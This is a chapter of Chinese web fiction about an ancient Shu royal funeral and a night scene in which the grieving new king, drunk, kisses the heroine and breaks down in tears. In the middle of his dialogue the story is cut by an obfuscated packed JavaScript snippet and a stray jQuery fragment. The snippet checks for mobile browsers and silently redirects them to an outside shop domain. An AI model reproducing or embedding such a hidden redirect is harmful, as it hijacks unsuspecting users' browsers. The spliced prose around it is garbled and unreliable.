王驾崩后的第七日，古蜀最高等级的丧祭大典在都邑外的祭祀台上举行。
祭祀台坐落于摸底河古河道一处宽阔的高地上。天色将明未明，浓云低垂如一块被揉皱的旧帛，风从河面上来，裹着水汽与深秋的寒意。数百名身着素麻深衣的侍从分列两侧，火把在晨雾中燃成两行长龙，火光摇曳不定，将整座高台笼罩在明灭交错的光影里。空气中有松脂燃烧的气味，混着河水的气息和土地被连日踩踏后翻出的潮腥。
高台中央是一座三层木构祭坛，每层都铺满了祭品。底层是成排的象牙，都是这些年猎取大象取下屯在王宫库房中的，整根的、长达两米的象牙，层层叠叠铺陈开来，白中泛黄的牙根在火光下泛着一层温润的旧光。中层是玉琮、玉璧、玉璋，青白黄褐各色玉石错落排列，像是大地从深处捧出的骨头。顶层是金器与青铜器——金杖、金冠带、蛙形金箔、青铜立人像、青铜神树。那些器物在火把的映照下泛着冷冽的光，像是被千年时光打磨过的面孔，沉默地注视着人间。
祭坛正前方，一根巨大的乌木横卧于地——长约十余米，通体乌黑如炭，纹理致密，是千百年前沉入河床的古木，被时光压成了另一种形态。四角各有一堆燃烧的柴火，火舌舔舐着乌木的表面，发出细碎的爆裂声。火焰将乌木烧得通红，青烟升腾，与晨雾交织在一起，弥漫整座高台。那气味厚重而肃穆，像是大地的深处有什么东西正在醒来。
祭坛后方停放着王上的棺椁。棺木由整段楠木雕凿而成，呈独木舟形——蜀国王室特有的船棺葬制。棺身涂着朱砂与黑漆，两侧刻有云雷纹和鸟形纹，棺盖前端镶嵌着一面巴掌大的金箔，纹样是纵目神的简化形象：双目凸出，嘴角微扬，带着一种超越了悲喜的静默。棺椁四周陈列着随葬器物——金器、玉器、青铜器、漆器，层层叠叠堆放在一起，像一座微缩的城。
崇伯站在祭坛最高处，须发花白，被晨风吹得微微拂动。他身披玄色与赤色相间的祭服，衣摆拖地数尺，上绣日、月、星辰与山形纹。他的脸上覆盖着一张黄金面具——面部线条简洁而庄重，双目处镂空，露出他苍老却锐利的眼睛。那面具在火光中泛着幽暗的金色，像一扇通向另一个世界的门。
神祀司的四位大巫分立祭坛四角，身着祭袍，头戴高冠，脸上的青铜面具在火光中泛着暗绿色的锈光。郢阳立于崇伯身后右侧，一身素白祭袍，面具下透出漆黑的眼眸依然是沉静如水。
祭坛下方，几大氏族的族长及家眷按位序站立。蚕丛徽站在前列，面色肃穆，手中的玉笏被他攥得极紧。芷蘅站在女眷列中，身着一套古蜀贵族女子的礼制服饰——深青色曲裾深衣，领口与袖口绣着繁复的云雷纹，针脚细密如蚁，是织造局为她赶制的。腰间束一条窄窄的金色丝带，发髻上簪着一支白玉簪，簪头雕成一只展翅的鸟，像是从某幅古老壁画里走出来的人。
崇伯抬手，开始念诵祭文。声音苍老而平稳，在晨风中传出去很远——那是一段古老的圣语，为亡者引路，为生者祈福。他在念诵中缓缓举起手中的玉璋，璋身刻着细密的祭山图案。火把的光从下方照上来，将他黄金面具的边缘描出一道灼目的亮线。
四位大巫随之应和，青铜面具下发出低沉而整齐的诵念声。那声音像河水漫过石头，又像风穿过干枯的树枝，带着一种不属于人间的重量。
芷蘅隔着人群望向郢阳，他神情专注，声音比其他大巫显得要清越，穿过晨雾与青烟，落在她耳中，遥远而又熟悉，像有人在很远的地方叫她的名字。
象牙被一层层投入火焰中，沉闷的响声伴随着青烟升腾。玉器被放入棺椁旁的漆盒中，碰撞声清脆而短促。最后，崇伯将一柄金杖——象征王权的金杖——横放在棺盖之上。杖身刻着细密的纹路，杖首是一只展翅的鸟。
整个过程中，赤琮始终站在棺椁前方，一言不发。他穿着玄色深衣，腰间束着白色麻带——那是为父守丧的标记。他的脸上没有任何表情，像是被凿刻出来的石像，立在祭坛中央，承受着所有投向他的目光。
芷蘅远远看着他。她看见他的脊背挺得笔直，但垂在身侧的那只右手，一直握着金杖的杖身，指节微微泛白。
她不知道他在想什么，也不知道他的内心到底是否悲痛。从今以后，他不能再在任何人面前露出破绽了。从今以后，他就是蜀地的王。
---
入夜，芷蘅来到太子府。
明日赤琮就要正式迁入王宫，阿念也将随他一同入宫居住。芷蘅推门进去时，阿念正坐在榻边，怀里抱着那个布偶——从边境村子带出来的旧物，耳朵已经被缝了好几回，歪歪扭扭的。布偶的线脚有粗有细，是芷蘅在村子时教阿念缝的，她学得很认真，缝了拆、拆了缝，最后总算把歪掉的耳朵重新固定住了，虽然还是歪了一点。
阿念抬头看见芷蘅，眼睛亮了一下，但很快又黯下去，声音闷闷的：“姐姐……宫里是不是很大？会不会走丢了？”
芷蘅在她身边坐下，将她鬓边一缕碎发别到耳后，将阿念的手拢进自己掌心里，说：“宫里确实很大，但你会慢慢熟悉的。叔叔会派人照顾你，你还可以继续认字、学东西。而且——我会经常去看你的。”
阿念想了想：“那我能带布偶去吗？”
“当然可以。”芷蘅看到阿念还在扯那只歪了一点的耳朵，补充到：“它缝得挺好的，不用再拆了。”
阿念这才露出一点笑意。芷蘅陪她坐了一会儿，直到阿念困了，躺在榻上慢慢闭上眼睛，手里还攥着布偶的一角。
芷蘅替她掖好被角，又看了一会儿她熟睡的脸，才起身轻轻合上门。
从阿念房中出来，芷蘅穿过花园。月光很淡，被云层遮去大半，园中桂花的香气被夜风揉碎，若有若无地飘着。假山旁的亭子里有一个人影。
赤琮坐在石凳上，一手握着半满的酒壶，另一只手撑在膝上，头微微垂着。他穿着白日里那身玄色深衣，腰间还系着白色麻带，衣襟却已经松散开来。石桌上东倒西歪地放着几只空酒壶，有一只倒下了，残余的酒液沿着桌面缓缓淌开，在月下反射出光芒。
他从未有过这种姿态。在朝堂上、在战场上、在芷蘅面前，他永远是脊背挺直、目光锐利、决断一切的人。可现在他像一把被抽去了骨架的弓，靠在石桌上，连影子都比平时更沉。
芷蘅在亭外站了片刻，最终还是走了进去。她没有说话，只是在他对面的石凳上坐下。
赤琮抬头看见她，目光有些涣散，像是一时没认出她。等他的目光终于聚拢时，那涣散里多了一层他极力想掩饰的东西。他嘴唇微微动了动，像要说什么，最终什么也没说，又灌了一口酒。酒液顺着他的下颌滑落一滴，他没擦。
芷蘅伸手，轻轻按在他握着酒壶的手腕上。他的皮肤是烫的，像是整个人都在从内部烧着。“别喝了。”
赤琮看着她，忽然笑了。那笑容很短，像被什么东西扯了一下又收回去，不带一丝暖意。“你今日在祭祀台上，穿那身衣裳……”他的声音有些哑，“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775467|208108||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看到了。”
芷蘅没有接话。
赤琮放下酒壶，忽然伸手，一把将她拉进怀里。力道很大，带着酒意和一种近乎粗暴的急切，像是再晚一刻就会失去全部勇气。他紧紧地抱住她，手臂勒过她的肩背，像溺水的人抓住最后一根浮木。然后滚烫的吻落下来，落在她的唇上。带着酒的气息，带着深夜花园里桂花将谢未谢的残香，带着一种她从未在他身上感受过的、近乎溃败的热度。
芷蘅的身体本能地绷紧了一瞬。她想推开他，抬起的手落在他的胸口，隔着衣料能感觉到他的心跳，极快、极沉。她的手微微用力，正要推开——忽然间，有咸涩的液体滑入两人交缠的唇齿之间。
那是……她的呼吸猛地一滞。那是赤琮的眼泪。他闭着眼，眼泪从他眼角溢出来，沿着颧骨滑下，落进两人相贴的唇缝里。芷蘅慌了神，忘记了手上的动作，她从来没见过他哭。战场上中伏被围的时候没有，苍梧谷身受重伤的时候没有，朝堂上被群臣围攻的时候也没有。他从来都是那个宁可流血也不肯落泪的人。可他现在整个人都在她怀里发抖，呼吸破碎而急促，像是在用这具身体压住所有他不能说出口的东西。
芷蘅的心猛地揪紧了。她抬起的手没有再推开他，只是轻轻抵着他的胸膛。她的掌心能感受到他烫热的体温和微微发颤的呼吸。但她也没有回应那个吻，只是停在那里，让时间静止了下来。
及至一吻结束，赤琮将额头抵在她肩上，没有抬头。他的呼吸还没有完全平复，每一次吐息都带着压抑的颤音。他的眼泪落在她颈侧的衣料上，洇开一小片深色的湿痕。那温度落在皮肤上，让芷蘅觉得比吻更重。
“父王走了。”他的声音从她肩窝里传出来，哑得像是被什么东西磨过，带着溃堤之后残存的浊重。芷蘅没有动。她只是把搁在他后背的那只手，轻轻收紧了一些。
“母后也病了。”他说，“她跟父王一向恩爱……这几个月她的身体一直不好，一直硬撑着，已经起不了床了。”他停了一下，喉结剧烈滚动，像是在把那些更重的话咽回去，“几大氏族虎视眈眈，天灾战乱不断。我今日站在祭祀台上，看着那些象牙、玉器、金器一样一样烧掉、埋掉——那些都是蜀地的根。可我拿什么接住？拿什么去填那些窟窿？”
芷蘅的手轻轻按在他后背上，隔着衣料，能感觉到他肩胛骨的轮廓和他背上绷紧的筋脉。她的声音轻而稳：“正因为如此，你才要振作起来。我还是那句话——我相信你会成为蜀地的一代明君。”
她没有说“一切都会好起来的”，她不敢信口雌黄。她只是把自己相信的那句话，又重复了一遍。
很久以后，赤琮的呼吸渐渐平稳下来。他的手臂从她腰侧慢慢松开，整个人靠在石桌上，像是被抽干了所有力气。他已经睡着了，眉头仍然紧锁着，像在梦里也在对抗什么。眼角还有未干的泪痕，在月光下泛着极淡的亮光。
芷蘅看着他的睡颜。这一刻他不是王，不是太子，不是那个在朝堂上杀人不见血的赤琮。他只是一个失去了父亲、母亲病倒、独自扛着一整个烂摊子，累到在花园里醉倒的年轻人。
她就这样安安静静地看了他片刻，才起身走到亭外，唤来候在远处的太子府侍从：“把殿下扶回寝殿休息。”
侍从应声入亭，小心翼翼地扶起赤琮，动作极轻，像是怕惊醒一尊易碎的东西。芷蘅站在亭外，目送着他的身影消失在回廊尽头。
这一夜，是她与赤琮离得最近的一夜，无论是身体还是心灵。